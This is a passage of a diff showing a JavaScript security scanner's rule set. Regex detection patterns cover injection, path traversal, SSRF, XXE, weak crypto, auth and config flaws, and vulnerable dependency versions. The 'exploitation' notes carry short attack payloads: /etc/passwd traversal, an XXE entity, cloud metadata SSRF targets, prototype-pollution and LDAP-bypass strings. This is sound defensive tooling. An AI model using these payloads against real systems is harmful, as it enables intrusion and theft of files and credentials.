category: 'Command Injection',
|
|
541
|
+
pattern: /subprocess\.(?:run|call|Popen|check_output|check_call)\s*\(\s*(?:f['"]|.*\.format|.*%\s*(?:\(|[a-zA-Z]))/g,
|
|
542
|
+
severity: 'critical',
|
|
543
|
+
cwe: 'CWE-78',
|
|
544
|
+
description: 'Python subprocess with format string — command injection vector',
|
|
545
|
+
exploitation: 'Attacker injects shell commands through formatted string arguments',
|
|
546
|
+
},
|
|
547
|
+
{
|
|
548
|
+
name: 'os.system (Python)',
|
|
549
|
+
category: 'Command Injection',
|
|
550
|
+
pattern: /os\.system\s*\(/g,
|
|
551
|
+
severity: 'high',
|
|
552
|
+
cwe: 'CWE-78',
|
|
553
|
+
description: 'Python os.system is inherently unsafe — runs commands through shell',
|
|
554
|
+
exploitation: 'Any user input in os.system argument allows arbitrary command execution',
|
|
555
|
+
},
|
|
556
|
+
// Path Traversal
|
|
557
|
+
{
|
|
558
|
+
name: 'Path Traversal (join with user input)',
|
|
559
|
+
category: 'Path Traversal',
|
|
560
|
+
pattern: /(?:path\.join|path\.resolve|join|resolve)\s*\([^)]*(?:req\.|params\.|query\.|body\.|args\.|input|user)[^)]*\)/gi,
|
|
561
|
+
severity: 'high',
|
|
562
|
+
cwe: 'CWE-22',
|
|
563
|
+
description: 'File path constructed with user input without traversal check',
|
|
564
|
+
exploitation: 'Attacker sends "../../../etc/passwd" to read arbitrary files outside intended directory',
|
|
565
|
+
},
|
|
566
|
+
{
|
|
567
|
+
name: 'Direct File Read with User Input',
|
|
568
|
+
category: 'Path Traversal',
|
|
569
|
+
pattern: /(?:readFile|readFileSync|createReadStream|open)\s*\(\s*(?:[^)]*(?:req\.|params\.|query\.|body\.|args\.|input|user))/gi,
|
|
570
|
+
severity: 'high',
|
|
571
|
+
cwe: 'CWE-22',
|
|
572
|
+
description: 'File read operation with user-controlled path',
|
|
573
|
+
exploitation: 'Attacker reads sensitive files: /etc/passwd, /proc/self/environ, config files with credentials',
|
|
574
|
+
},
|
|
575
|
+
{
|
|
576
|
+
name: 'File Write with User Path',
|
|
577
|
+
category: 'Path Traversal',
|
|
578
|
+
pattern: /(?:writeFile|writeFileSync|createWriteStream)\s*\(\s*(?:[^)]*(?:req\.|params\.|query\.|body\.|args\.|input|user))/gi,
|
|
579
|
+
severity: 'critical',
|
|
580
|
+
cwe: 'CWE-22',
|
|
581
|
+
description: 'File write operation with user-controlled path',
|
|
582
|
+
exploitation: 'Attacker writes to arbitrary locations: overwrite .bashrc, crontab, authorized_keys for RCE',
|
|
583
|
+
},
|
|
584
|
+
// SSRF
|
|
585
|
+
{
|
|
586
|
+
name: 'SSRF (fetch with user URL)',
|
|
587
|
+
category: 'SSRF',
|
|
588
|
+
pattern: /(?:fetch|axios|got|request|http\.get|https\.get|urllib\.request)\s*\(\s*(?:[^)]*(?:req\.|params\.|query\.|body\.|args\.|input|user|url))/gi,
|
|
589
|
+
severity: 'high',
|
|
590
|
+
cwe: 'CWE-918',
|
|
591
|
+
description: 'HTTP request with user-controlled URL — SSRF vector',
|
|
592
|
+
exploitation: 'Attacker targets internal services: http://169.254.169.254/latest/meta-data/ (AWS), http://localhost:6379/ (Redis)',
|
|
593
|
+
},
|
|
594
|
+
{
|
|
595
|
+
name: 'SSRF (redirect follow)',
|
|
596
|
+
category: 'SSRF',
|
|
597
|
+
pattern: /(?:redirect|follow)\s*:\s*true|(?:maxRedirects|max_redirects)\s*:\s*(?:[5-9]|[1-9]\d)/gi,
|
|
598
|
+
severity: 'medium',
|
|
599
|
+
cwe: 'CWE-918',
|
|
600
|
+
description: 'HTTP client follows redirects — can be chained with SSRF',
|
|
601
|
+
exploitation: 'Attacker provides URL that 302-redirects to internal service, bypassing URL validation',
|
|
602
|
+
},
|
|
603
|
+
// Template Injection
|
|
604
|
+
{
|
|
605
|
+
name: 'Server-Side Template Injection',
|
|
606
|
+
category: 'Template Injection',
|
|
607
|
+
pattern: /(?:render|template|compile)\s*\(\s*(?:[^)]*(?:req\.|params\.|query\.|body\.|args\.|input|user))/gi,
|
|
608
|
+
severity: 'critical',
|
|
609
|
+
cwe: 'CWE-94',
|
|
610
|
+
description: 'Template engine render with user-controlled template string',
|
|
611
|
+
exploitation: 'Attacker injects template syntax: {{7*7}} in Jinja2, ${7*7} in FreeMarker — leads to RCE',
|
|
612
|
+
},
|
|
613
|
+
// LDAP Injection
|
|
614
|
+
{
|
|
615
|
+
name: 'LDAP Injection',
|
|
616
|
+
category: 'LDAP Injection',
|
|
617
|
+
pattern: /(?:ldap|LDAP).*(?:search|bind|query)\s*\([^)]*(?:req\.|params\.|query\.|body\.|args\.|input|user)/gi,
|
|
618
|
+
severity: 'high',
|
|
619
|
+
cwe: 'CWE-90',
|
|
620
|
+
description: 'LDAP query with user-controlled input',
|
|
621
|
+
exploitation: 'Attacker injects LDAP filter: *)(&(objectClass=*) to enumerate all objects or bypass auth',
|
|
622
|
+
},
|
|
623
|
+
// Deserialization
|
|
624
|
+
{
|
|
625
|
+
name: 'Unsafe Deserialization (JSON.parse of user input)',
|
|
626
|
+
category: 'Deserialization',
|
|
627
|
+
pattern: /JSON\.parse\s*\(\s*(?:req\.body|params|query|input|user)/gi,
|
|
628
|
+
severity: 'medium',
|
|
629
|
+
cwe: 'CWE-502',
|
|
630
|
+
description: 'JSON.parse of raw user input without schema validation',
|
|
631
|
+
exploitation: 'While JSON.parse itself is safe, parsed objects may contain __proto__ pollution or unexpected types',
|
|
632
|
+
},
|
|
633
|
+
{
|
|
634
|
+
name: 'Prototype Pollution',
|
|
635
|
+
category: 'Prototype Pollution',
|
|
636
|
+
pattern: /(?:__proto__|constructor\.prototype|Object\.assign\s*\(\s*\{\}|\.\.\.(?:req\.|params\.|query\.|body\.|args\.|input))/gi,
|
|
637
|
+
severity: 'high',
|
|
638
|
+
cwe: 'CWE-1321',
|
|
639
|
+
description: 'Potential prototype pollution via __proto__ or unguarded Object.assign/spread',
|
|
640
|
+
exploitation: 'Attacker sends {"__proto__":{"isAdmin":true}} to pollute Object prototype and escalate privileges',
|
|
641
|
+
},
|
|
642
|
+
{
|
|
643
|
+
name: 'Unsafe YAML/Pickle Deserialization',
|
|
644
|
+
category: 'Deserialization',
|
|
645
|
+
pattern: /(?:yaml\.load|pickle\.loads?|marshal\.loads?|shelve\.open)\s*\(/g,
|
|
646
|
+
severity: 'critical',
|
|
647
|
+
cwe: 'CWE-502',
|
|
648
|
+
description: 'Unsafe deserialization can lead to remote code execution',
|
|
649
|
+
exploitation: 'Attacker crafts malicious YAML/pickle payload that executes arbitrary code on deserialization',
|
|
650
|
+
},
|
|
651
|
+
// XML External Entity
|
|
652
|
+
{
|
|
653
|
+
name: 'XXE (XML External Entity)',
|
|
654
|
+
category: 'XXE',
|
|
655
|
+
pattern: /(?:parseXML|xml2js|DOMParser|SAXParser|XMLReader|etree\.parse)\s*\(/g,
|
|
656
|
+
severity: 'medium',
|
|
657
|
+
cwe: 'CWE-611',
|
|
658
|
+
description: 'XML parsing without explicit XXE protection',
|
|
659
|
+
exploitation: 'Attacker injects XML with external entity: <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>',
|
|
660
|
+
},
|
|
661
|
+
// Open Redirect
|
|
662
|
+
{
|
|
663
|
+
name: 'Open Redirect',
|
|
664
|
+
category: 'Open Redirect',
|
|
665
|
+
pattern: /(?:res\.redirect|response\.redirect|redirect)\s*\(\s*(?:req\.|params\.|query\.|body\.|args\.|input|user)/gi,
|
|
666
|
+
severity: 'medium',
|
|
667
|
+
cwe: 'CWE-601',
|
|
668
|
+
description: 'Redirect with user-controlled URL — open redirect vector',
|
|
669
|
+
exploitation: 'Attacker crafts phishing URL: yoursite.com/redirect?url=evil.com/login to steal credentials',
|
|
670
|
+
},
|
|
671
|
+
// Header Injection
|
|
672
|
+
{
|
|
673
|
+
name: 'HTTP Header Injection',
|
|
674
|
+
category: 'Header Injection',
|
|
675
|
+
pattern: /(?:res\.setHeader|res\.header|response\.setHeader|set_header)\s*\(\s*[^,]+,\s*(?:req\.|params\.|query\.|body\.|args\.|input|user)/gi,
|
|
676
|
+
severity: 'high',
|
|
677
|
+
cwe: 'CWE-113',
|
|
678
|
+
description: 'HTTP header set with user-controlled value',
|
|
679
|
+
exploitation: 'Attacker injects CRLF to add arbitrary headers or split the response for cache poisoning',
|
|
680
|
+
},
|
|
681
|
+
// Regex DoS
|
|
682
|
+
{
|
|
683
|
+
name: 'Regex DoS (ReDoS)',
|
|
684
|
+
category: 'ReDoS',
|
|
685
|
+
pattern: /new\s+RegExp\s*\(\s*(?:req\.|params\.|query\.|body\.|args\.|input|user)/gi,
|
|
686
|
+
severity: 'medium',
|
|
687
|
+
cwe: 'CWE-1333',
|
|
688
|
+
description: 'Regular expression constructed from user input — ReDoS vector',
|
|
689
|
+
exploitation: 'Attacker crafts catastrophic backtracking regex input to cause CPU exhaustion (denial of service)',
|
|
690
|
+
},
|
|
691
|
+
];
|
|
692
|
+
const AUTH_PATTERNS = [
|
|
693
|
+
{
|
|
694
|
+
name: 'Hardcoded JWT Secret',
|
|
695
|
+
pattern: /(?:jwt\.sign|jwt\.verify|jsonwebtoken\.sign)\s*\([^)]*,\s*['"][^'"]{4,}['"]/gi,
|
|
696
|
+
severity: 'critical',
|
|
697
|
+
cwe: 'CWE-798',
|
|
698
|
+
description: 'JWT signed/verified with hardcoded secret — compromise affects all tokens',
|
|
699
|
+
},
|
|
700
|
+
{
|
|
701
|
+
name: 'Weak JWT Secret',
|
|
702
|
+
pattern: /(?:JWT_SECRET|jwt_secret|jwtSecret)\s*[=:]\s*['"](?:secret|password|123|test|dev|admin|key)['"]/gi,
|
|
703
|
+
severity: 'critical',
|
|
704
|
+
cwe: 'CWE-798',
|
|
705
|
+
description: 'JWT secret is a weak/default value — trivially guessable',
|
|
706
|
+
},
|
|
707
|
+
{
|
|
708
|
+
name: 'JWT None Algorithm',
|
|
709
|
+
pattern: /(?:algorithm|algorithms)\s*[=:]\s*(?:\[?\s*['"]none['"]|\['none')/gi,
|
|
710
|
+
severity: 'critical',
|
|
711
|
+
cwe: 'CWE-327',
|
|
712
|
+
description: 'JWT allows "none" algorithm — tokens can be forged without a key',
|
|
713
|
+
},
|
|
714
|
+
{
|
|
715
|
+
name: 'Missing Auth Middleware (Express)',
|
|
716
|
+
pattern: /(?:app|router)\.(?:get|post|put|patch|delete)\s*\(\s*['"][^'"]*(?:admin|user|account|profile|settings|dashboard|api\/v)[^'"]*['"]\s*,\s*(?:async\s+)?\(?(?:req|request)/gi,
|
|
717
|
+
antiPattern: /(?:auth|authenticate|isAuthenticated|requireAuth|protect|guard|verify|middleware|passport)/gi,
|
|
718
|
+
severity: 'high',
|
|
719
|
+
cwe: 'CWE-306',
|
|
720
|
+
description: 'Route handler for sensitive endpoint without visible auth middleware',
|
|
721
|
+
},
|
|
722
|
+
{
|
|
723
|
+
name: 'Missing Rate Limiting',
|
|
724
|
+
pattern: /(?:app|router)\.(?:post)\s*\(\s*['"][^'"]*(?:login|signin|auth|register|signup|reset|forgot|verify|otp|2fa|token)[^'"]*['"]/gi,
|
|
725
|
+
antiPattern: /(?:rateLimit|rateLimiter|limiter|throttle|slowDown|express-rate-limit|rate_limit)/gi,
|
|
726
|
+
severity: 'medium',
|
|
727
|
+
cwe: 'CWE-307',
|
|
728
|
+
description: 'Auth-related POST endpoint without visible rate limiting',
|
|
729
|
+
},
|
|
730
|
+
{
|
|
731
|
+
name: 'Insecure Cookie (no httpOnly)',
|
|
732
|
+
pattern: /(?:res\.cookie|set-cookie|setCookie)\s*\([^)]*(?!httpOnly)/gi,
|
|
733
|
+
severity: 'medium',
|
|
734
|
+
cwe: 'CWE-1004',
|
|
735
|
+
description: 'Cookie set without httpOnly flag — accessible to JavaScript (XSS can steal it)',
|
|
736
|
+
},
|
|
737
|
+
{
|
|
738
|
+
name: 'Insecure Cookie (no secure flag)',
|
|
739
|
+
pattern: /(?:res\.cookie|setCookie)\s*\(\s*[^)]*(?:httpOnly|HttpOnly)[^)]*(?!secure)/gi,
|
|
740
|
+
severity: 'medium',
|
|
741
|
+
cwe: 'CWE-614',
|
|
742
|
+
description: 'Cookie without secure flag — transmitted over unencrypted HTTP',
|
|
743
|
+
},
|
|
744
|
+
{
|
|
745
|
+
name: 'Session Fixation',
|
|
746
|
+
pattern: /(?:req\.session|session)\s*=\s*(?:req\.query|req\.params|req\.body)/gi,
|
|
747
|
+
severity: 'high',
|
|
748
|
+
cwe: 'CWE-384',
|
|
749
|
+
description: 'Session assigned from user input — session fixation vulnerability',
|
|
750
|
+
},
|
|
751
|
+
{
|
|
752
|
+
name: 'Missing CSRF Protection',
|
|
753
|
+
pattern: /(?:app\.post|router\.post)\s*\(\s*['"][^'"]*(?:transfer|payment|delete|update|change|submit)[^'"]*['"]/gi,
|
|
754
|
+
antiPattern: /(?:csrf|csrfToken|csurf|_csrf|xsrf|CSRF)/gi,
|
|
755
|
+
severity: 'medium',
|
|
756
|
+
cwe: 'CWE-352',
|
|
757
|
+
description: 'State-changing POST endpoint without visible CSRF protection',
|
|
758
|
+
},
|
|
759
|
+
{
|
|
760
|
+
name: 'Weak Password Validation',
|
|
761
|
+
pattern: /(?:password|passwd)\.(?:length|trim)\s*(?:>=?|<=?|===?|!==?)\s*(?:[1-5])\b/gi,
|
|
762
|
+
severity: 'medium',
|
|
763
|
+
cwe: 'CWE-521',
|
|
764
|
+
description: 'Password length requirement too short (should be >= 8, preferably >= 12)',
|
|
765
|
+
},
|
|
766
|
+
{
|
|
767
|
+
name: 'Basic Auth over HTTP',
|
|
768
|
+
pattern: /(?:Authorization|authorization)\s*[=:]\s*['"]Basic\s/g,
|
|
769
|
+
severity: 'high',
|
|
770
|
+
cwe: 'CWE-319',
|
|
771
|
+
description: 'Basic authentication — credentials sent in base64 (easily decoded)',
|
|
772
|
+
},
|
|
773
|
+
{
|
|
774
|
+
name: 'Disabled Auth Check',
|
|
775
|
+
pattern: /(?:\/\/\s*TODO|\/\/\s*FIXME|\/\/\s*HACK|\/\/\s*TEMPORARY)\s*.*(?:auth|authentication|authorization)/gi,
|
|
776
|
+
severity: 'medium',
|
|
777
|
+
cwe: 'CWE-306',
|
|
778
|
+
description: 'Commented-out or TODO auth check — likely a security gap',
|
|
779
|
+
},
|
|
780
|
+
];
|
|
781
|
+
const CRYPTO_PATTERNS = [
|
|
782
|
+
{
|
|
783
|
+
name: 'MD5 for Password Hashing',
|
|
784
|
+
pattern: /(?:createHash|hashlib\.md5|MD5|md5)\s*\(\s*['"]?md5['"]?\s*\)?\s*\.?(?:update|digest|hexdigest)?\s*\(?[^)]*(?:password|passwd|pass|pwd)/gi,
|
|
785
|
+
severity: 'critical',
|
|
786
|
+
cwe: 'CWE-328',
|
|
787
|
+
description: 'MD5 used for password hashing — cryptographically broken, rainbow table attacks trivial',
|
|
788
|
+
},
|
|
789
|
+
{
|
|
790
|
+
name: 'MD5 Usage (general)',
|
|
791
|
+
pattern: /(?:createHash\s*\(\s*['"]md5['"]\)|hashlib\.md5|MD5\s*\(|\.md5\s*\()/gi,
|
|
792
|
+
severity: 'medium',
|
|
793
|
+
cwe: 'CWE-328',
|
|
794
|
+
description: 'MD5 usage detected — broken hash function, not suitable for security purposes',
|
|
795
|
+
},
|
|
796
|
+
{
|
|
797
|
+
name: 'SHA1 for Password Hashing',
|
|
798
|
+
pattern: /(?:createHash|hashlib\.sha1|SHA1|sha1)\s*\(\s*['"]?sha1['"]?\s*\)?\s*\.?(?:update|digest|hexdigest)?\s*\(?[^)]*(?:password|passwd|pass|pwd)/gi,
|
|
799
|
+
severity: 'critical',
|
|
800
|
+
cwe: 'CWE-328',
|
|
801
|
+
description: 'SHA1 used for password hashing — cryptographically weakened, use bcrypt/argon2',
|
|
802
|
+
},
|
|
803
|
+
{
|
|
804
|
+
name: 'SHA1 Usage (general)',
|
|
805
|
+
pattern: /(?:createHash\s*\(\s*['"]sha1['"]\)|hashlib\.sha1|SHA1\s*\(|\.sha1\s*\()/gi,
|
|
806
|
+
severity: 'low',
|
|
807
|
+
cwe: 'CWE-328',
|
|
808
|
+
description: 'SHA1 usage detected — weakened hash function, consider SHA-256+',
|
|
809
|
+
},
|
|
810
|
+
{
|
|
811
|
+
name: 'ECB Mode',
|
|
812
|
+
pattern: /(?:ECB|ecb|AES\.MODE_ECB|mode:\s*['"]ecb['"]|cipher\s*=.*ecb)/gi,
|
|
813
|
+
severity: 'high',
|
|
814
|
+
cwe: 'CWE-327',
|
|
815
|
+
description: 'ECB mode encryption — identical plaintext blocks produce identical ciphertext (pattern leakage)',
|
|
816
|
+
},
|
|
817
|
+
{
|
|
818
|
+
name: 'Hardcoded Encryption Key',
|
|
819
|
+
pattern: /(?:createCipher|createCipheriv|AES\.new|Cipher|encrypt)\s*\(\s*['"][^'"]{8,}['"]/gi,
|
|
820
|
+
severity: 'critical',
|
|
821
|
+
cwe: 'CWE-321',
|
|
822
|
+
description: 'Encryption key hardcoded in source — compromise of source = compromise of all encrypted data',
|
|
823
|
+
},
|
|
824
|
+
{
|
|
825
|
+
name: 'Hardcoded IV/Nonce',
|
|
826
|
+
pattern: /(?:iv|nonce|IV|NONCE)\s*[=:]\s*(?:Buffer\.from\s*\(\s*)?['"][^'"]{8,}['"]/gi,
|
|
827
|
+
severity: 'high',
|
|
828
|
+
cwe: 'CWE-329',
|
|
829
|
+
description: 'Hardcoded initialization vector — IV reuse breaks encryption security',
|
|
830
|
+
},
|
|
831
|
+
{
|
|
832
|
+
name: 'Math.random() for Security',
|
|
833
|
+
pattern: /Math\.random\s*\(\s*\)\s*.*(?:token|key|secret|password|salt|nonce|iv|session|csrf|random.*id|uuid)/gi,
|
|
834
|
+
severity: 'high',
|
|
835
|
+
cwe: 'CWE-338',
|
|
836
|
+
description: 'Math.random() used for security-sensitive value — predictable PRNG',
|
|
837
|
+
},
|
|
838
|
+
{
|
|
839
|
+
name: 'Math.random() General',
|
|
840
|
+
pattern: /Math\.random\s*\(\s*\)/g,
|
|
841
|
+
severity: 'low',
|
|
842
|
+
cwe: 'CWE-338',
|
|
843
|
+
description: 'Math.random() usage — not cryptographically secure (use crypto.randomBytes for security)',
|
|
844
|
+
},
|
|
845
|
+
{
|
|
846
|
+
name: 'Weak Key Size',
|
|
847
|
+
pattern: /(?:generateKey|createDiffieHellman|RSA|rsa)\s*\(\s*(?:512|768|1024)\b/gi,
|
|
848
|
+
severity: 'high',
|
|
849
|
+
cwe: 'CWE-326',
|
|
850
|
+
description: 'Weak cryptographic key size — 1024-bit RSA is breakable, use >= 2048',
|
|
851
|
+
},
|
|
852
|
+
{
|
|
853
|
+
name: 'DES/3DES Usage',
|
|
854
|
+
pattern: /(?:DES|des|3DES|TripleDES|DESede|createCipher\s*\(\s*['"]des)/gi,
|
|
855
|
+
severity: 'high',
|
|
856
|
+
cwe: 'CWE-327',
|
|
857
|
+
description: 'DES/3DES encryption — deprecated and weak, use AES-256',
|
|
858
|
+
},
|
|
859
|
+
{
|
|
860
|
+
name: 'RC4 Usage',
|
|
861
|
+
pattern: /(?:RC4|rc4|ARC4|ARCFOUR|createCipher\s*\(\s*['"]rc4)/gi,
|
|
862
|
+
severity: 'high',
|
|
863
|
+
cwe: 'CWE-327',
|
|
864
|
+
description: 'RC4 stream cipher — multiple known vulnerabilities, completely broken',
|
|
865
|
+
},
|
|
866
|
+
{
|
|
867
|
+
name: 'Deprecated createCipher',
|
|
868
|
+
pattern: /createCipher\s*\(\s*['"](?!aes-256-gcm)/gi,
|
|
869
|
+
severity: 'medium',
|
|
870
|
+
cwe: 'CWE-327',
|
|
871
|
+
description: 'crypto.createCipher is deprecated — use createCipheriv with explicit IV',
|
|
872
|
+
},
|
|
873
|
+
{
|
|
874
|
+
name: 'No Salt in Hashing',
|
|
875
|
+
pattern: /(?:createHash|hashlib)\s*\(\s*['"]sha(?:256|384|512)['"]\s*\)\s*\.update\s*\(\s*(?:password|passwd|pass|pwd)/gi,
|
|
876
|
+
severity: 'high',
|
|
877
|
+
cwe: 'CWE-916',
|
|
878
|
+
description: 'Password hashed without salt — vulnerable to rainbow table attacks',
|
|
879
|
+
},
|
|
880
|
+
{
|
|
881
|
+
name: 'Bcrypt Low Rounds',
|
|
882
|
+
pattern: /(?:bcrypt|argon2).*(?:rounds?|cost|saltRounds)\s*[=:]\s*(?:[1-9]|10)\b/gi,
|
|
883
|
+
severity: 'medium',
|
|
884
|
+
cwe: 'CWE-916',
|
|
885
|
+
description: 'Password hashing with too few rounds — increase to at least 12 for bcrypt',
|
|
886
|
+
},
|
|
887
|
+
];
|
|
888
|
+
const CONFIG_PATTERNS = [
|
|
889
|
+
{
|
|
890
|
+
name: 'Debug Mode Enabled',
|
|
891
|
+
pattern: /(?:DEBUG|debug)\s*[=:]\s*(?:true|1|['"]true['"]|['"]1['"])/g,
|
|
892
|
+
severity: 'medium',
|
|
893
|
+
cwe: 'CWE-489',
|
|
894
|
+
description: 'Debug mode enabled — may expose verbose errors, stack traces, or internal state',
|
|
895
|
+
},
|
|
896
|
+
{
|
|
897
|
+
name: 'CORS Wildcard',
|
|
898
|
+
pattern: /(?:Access-Control-Allow-Origin|cors|CORS|allowOrigin|origin)\s*[=:]\s*['"]?\*/g,
|
|
899
|
+
severity: 'high',
|
|
900
|
+
cwe: 'CWE-942',
|
|
901
|
+
description: 'CORS allows all origins (*) — any website can make authenticated requests',
|
|
902
|
+
},
|
|
903
|
+
{
|
|
904
|
+
name: 'CORS Credentials with Wildcard',
|
|
905
|
+
pattern: /(?:Access-Control-Allow-Credentials|credentials)\s*[=:]\s*(?:true|['"]true['"])/g,
|
|
906
|
+
severity: 'high',
|
|
907
|
+
cwe: 'CWE-942',
|
|
908
|
+
description: 'CORS allows credentials — combined with permissive origin, enables session hijacking',
|
|
909
|
+
},
|
|
910
|
+
{
|
|
911
|
+
name: 'Missing Security Headers',
|
|
912
|
+
pattern: /(?:helmet|Helmet|security-headers|X-Content-Type-Options|X-Frame-Options|Strict-Transport-Security)/g,
|
|
913
|
+
severity: 'info',
|
|
914
|
+
cwe: 'CWE-693',
|
|
915
|
+
description: 'Security header configuration detected (positive finding)',
|
|
916
|
+
},
|
|
917
|
+
{
|
|
918
|
+
name: 'Default Credentials',
|
|
919
|
+
pattern: /(?:username|user|admin|root)\s*[=:]\s*['"](?:admin|root|test|user|default|password|guest|demo)['"].*(?:password|passwd|pass|pwd)\s*[=:]\s*['"](?:admin|root|test|password|pass|123456|default|guest|demo)['"]/gi,
|
|
920
|
+
severity: 'critical',
|
|
921
|
+
cwe: 'CWE-798',
|
|
922
|
+
description: 'Default/test credentials in source code',
|
|
923
|
+
},
|
|
924
|
+
{
|
|
925
|
+
name: 'Verbose Error Messages',
|
|
926
|
+
pattern: /(?:res\.(?:send|json|status)\s*\(\s*(?:500|400|401|403|404|422)\s*\)\s*\.(?:send|json)\s*\(\s*(?:err|error)\.(?:stack|message)|catch\s*\(\s*(?:err|error|e)\s*\)\s*\{[^}]*(?:res\.send|res\.json)\s*\(\s*(?:err|error|e)(?:\.stack|\.message)?)/gi,
|
|
927
|
+
severity: 'medium',
|
|
928
|
+
cwe: 'CWE-209',
|
|
929
|
+
description: 'Error details sent to client — may leak stack traces, file paths, or internal info',
|
|
930
|
+
},
|
|
931
|
+
{
|
|
932
|
+
name: 'Stack Trace in Response',
|
|
933
|
+
pattern: /(?:err|error|e)\.stack\s*.*(?:res\.send|res\.json|response\.send|response\.json|return|send)/gi,
|
|
934
|
+
severity: 'medium',
|
|
935
|
+
cwe: 'CWE-209',
|
|
936
|
+
description: 'Stack trace sent in response — reveals internal file paths and code structure',
|
|
937
|
+
},
|
|
938
|
+
{
|
|
939
|
+
name: 'Source Maps in Production',
|
|
940
|
+
pattern: /(?:sourcemap|sourceMap|source-map)\s*[=:]\s*(?:true|['"]true['"]|['"]inline['"])/gi,
|
|
941
|
+
severity: 'low',
|
|
942
|
+
cwe: 'CWE-540',
|
|
943
|
+
description: 'Source maps enabled — may expose original source code in production',
|
|
944
|
+
},
|
|
945
|
+
{
|
|
946
|
+
name: 'Directory Listing Enabled',
|
|
947
|
+
pattern: /(?:serveIndex|directory-listing|autoindex|Options\s+Indexes)/gi,
|
|
948
|
+
severity: 'medium',
|
|
949
|
+
cwe: 'CWE-548',
|
|
950
|
+
description: 'Directory listing enabled — exposes file structure to attackers',
|
|
951
|
+
},
|
|
952
|
+
{
|
|
953
|
+
name: 'X-Powered-By Header',
|
|
954
|
+
pattern: /(?:X-Powered-By|x-powered-by|poweredBy)/g,
|
|
955
|
+
severity: 'low',
|
|
956
|
+
cwe: 'CWE-200',
|
|
957
|
+
description: 'X-Powered-By header leaks server technology — aids fingerprinting',
|
|
958
|
+
},
|
|
959
|
+
{
|
|
960
|
+
name: 'Insecure TLS Version',
|
|
961
|
+
pattern: /(?:TLSv1\.0|TLSv1\.1|SSLv2|SSLv3|ssl_protocols\s+.*TLSv1(?:\.0|\.1)?|minVersion\s*[=:]\s*['"]TLSv1(?:\.0|\.1)?['"])/gi,
|
|
962
|
+
severity: 'high',
|
|
963
|
+
cwe: 'CWE-327',
|
|
964
|
+
description: 'Insecure TLS/SSL version — TLS 1.0/1.1 and SSLv2/v3 have known vulnerabilities',
|
|
965
|
+
},
|
|
966
|
+
{
|
|
967
|
+
name: 'HTTP (not HTTPS)',
|
|
968
|
+
pattern: /(?:http:\/\/(?!localhost|127\.0\.0\.1|0\.0\.0\.0|::1|\[::1\]|example\.com))[a-zA-Z0-9.-]+/g,
|
|
969
|
+
severity: 'low',
|
|
970
|
+
cwe: 'CWE-319',
|
|
971
|
+
description: 'HTTP URL detected — traffic is unencrypted',
|
|
972
|
+
},
|
|
973
|
+
{
|
|
974
|
+
name: 'Permissive File Upload',
|
|
975
|
+
pattern: /(?:multer|formidable|busboy|express-fileupload).*(?!fileFilter|limits)/gi,
|
|
976
|
+
severity: 'medium',
|
|
977
|
+
cwe: 'CWE-434',
|
|
978
|
+
description: 'File upload without visible file type or size filtering',
|
|
979
|
+
},
|
|
980
|
+
{
|
|
981
|
+
name: 'GraphQL Introspection Enabled',
|
|
982
|
+
pattern: /(?:introspection\s*:\s*true|enableIntrospection)/gi,
|
|
983
|
+
severity: 'low',
|
|
984
|
+
cwe: 'CWE-200',
|
|
985
|
+
description: 'GraphQL introspection enabled — exposes full API schema to attackers',
|
|
986
|
+
},
|
|
987
|
+
{
|
|
988
|
+
name: 'Disabled Security Feature',
|
|
989
|
+
pattern: /(?:rejectUnauthorized|strictSSL|verify_ssl|VERIFY_SSL)\s*[=:]\s*(?:false|0)/gi,
|
|
990
|
+
severity: 'high',
|
|
991
|
+
cwe: 'CWE-295',
|
|
992
|
+
description: 'SSL/TLS certificate verification disabled — vulnerable to MITM attacks',
|
|
993
|
+
},
|
|
994
|
+
{
|
|
995
|
+
name: 'Admin Panel Exposed',
|
|
996
|
+
pattern: /(?:\/admin|\/dashboard|\/manage|\/panel|\/control)(?:['"]|\s|$)/gi,
|
|
997
|
+
severity: 'low',
|
|
998
|
+
cwe: 'CWE-200',
|
|
999
|
+
description: 'Admin panel route detected — ensure authentication and access control',
|
|
1000
|
+
},
|
|
1001
|
+
];
|
|
1002
|
+
const DEP_PATTERNS = [
|
|
1003
|
+
{
|
|
1004
|
+
name: 'Lodash Prototype Pollution',
|
|
1005
|
+
pattern: /"lodash"\s*:\s*"[<^~]?[0-3]\./g,
|
|
1006
|
+
severity: 'critical',
|
|
1007
|
+
description: 'Lodash < 4.x has prototype pollution vulnerabilities (CVE-2018-16487)',
|
|
1008
|
+
},
|
|
1009
|
+
{
|
|
1010
|
+
name: 'Express < 4.17.3',
|
|
1011
|
+
pattern: /"express"\s*:\s*"[<^~]?4\.(?:1[0-6]|[0-9])\./g,
|
|
1012
|
+
severity: 'high',
|
|
1013
|
+
description: 'Express < 4.17.3 has open redirect vulnerability (CVE-2022-24999)',
|
|
1014
|
+
},
|
|
1015
|
+
{
|
|
1016
|
+
name: 'Axios SSRF',
|
|
1017
|
+
pattern: /"axios"\s*:\s*"[<^~]?0\.(?:2[0-1]|1\d|[0-9])\./g,
|
|
1018
|
+
severity: 'high',
|
|
1019
|
+
description: 'Axios < 0.22.0 follows redirects to internal hosts (SSRF)',
|
|
1020
|
+
},
|
|
1021
|
+
{
|
|
1022
|
+
name: 'jsonwebtoken < 9',
|
|
1023
|
+
pattern: /"jsonwebtoken"\s*:\s*"[<^~]?[0-8]\./g,
|
|
1024
|
+
severity: 'high',
|
|
1025
|
+
description: 'jsonwebtoken < 9.0.0 has algorithm confusion vulnerability',
|
|
1026
|
+
},
|
|
1027
|
+
{
|
|
1028
|
+
name: 'node-fetch SSRF',
|
|
1029
|
+
pattern: /"node-fetch"\s*:\s*"[<^~]?[12]\./g,
|
|
1030
|
+
severity: 'medium',
|
|
1031
|
+
description: 'node-fetch < 3.x has redirect-based SSRF issues',
|
|
1032
|
+
},
|
|
1033
|
+
{
|
|
1034
|
+
name: 'Minimatch ReDoS',
|
|
1035
|
+
pattern: /"minimatch"\s*:\s*"[<^~]?[0-2]\./g,
|
|
1036
|
+
severity: 'medium',
|
|
1037
|
+
description: 'minimatch < 3.0.5 has ReDoS vulnerability',
|
|
1038
|
+
},
|
|
1039
|
+
{
|
|
1040
|
+
name: 'tar Path Traversal',
|
|
1041
|
+
pattern: /"tar"\s*:\s*"[<^~]?[0-5]\./g,
|
|
1042
|
+
severity: 'high',
|
|
1043
|
+
description: 'tar < 6.x has path traversal vulnerability (CVE-2021-32803)',
|
|
1044
|
+
},
|
|
1045
|
+
{
|
|
1046
|
+
name: 'Underscore Arbitrary Code Execution',
|
|
1047
|
+
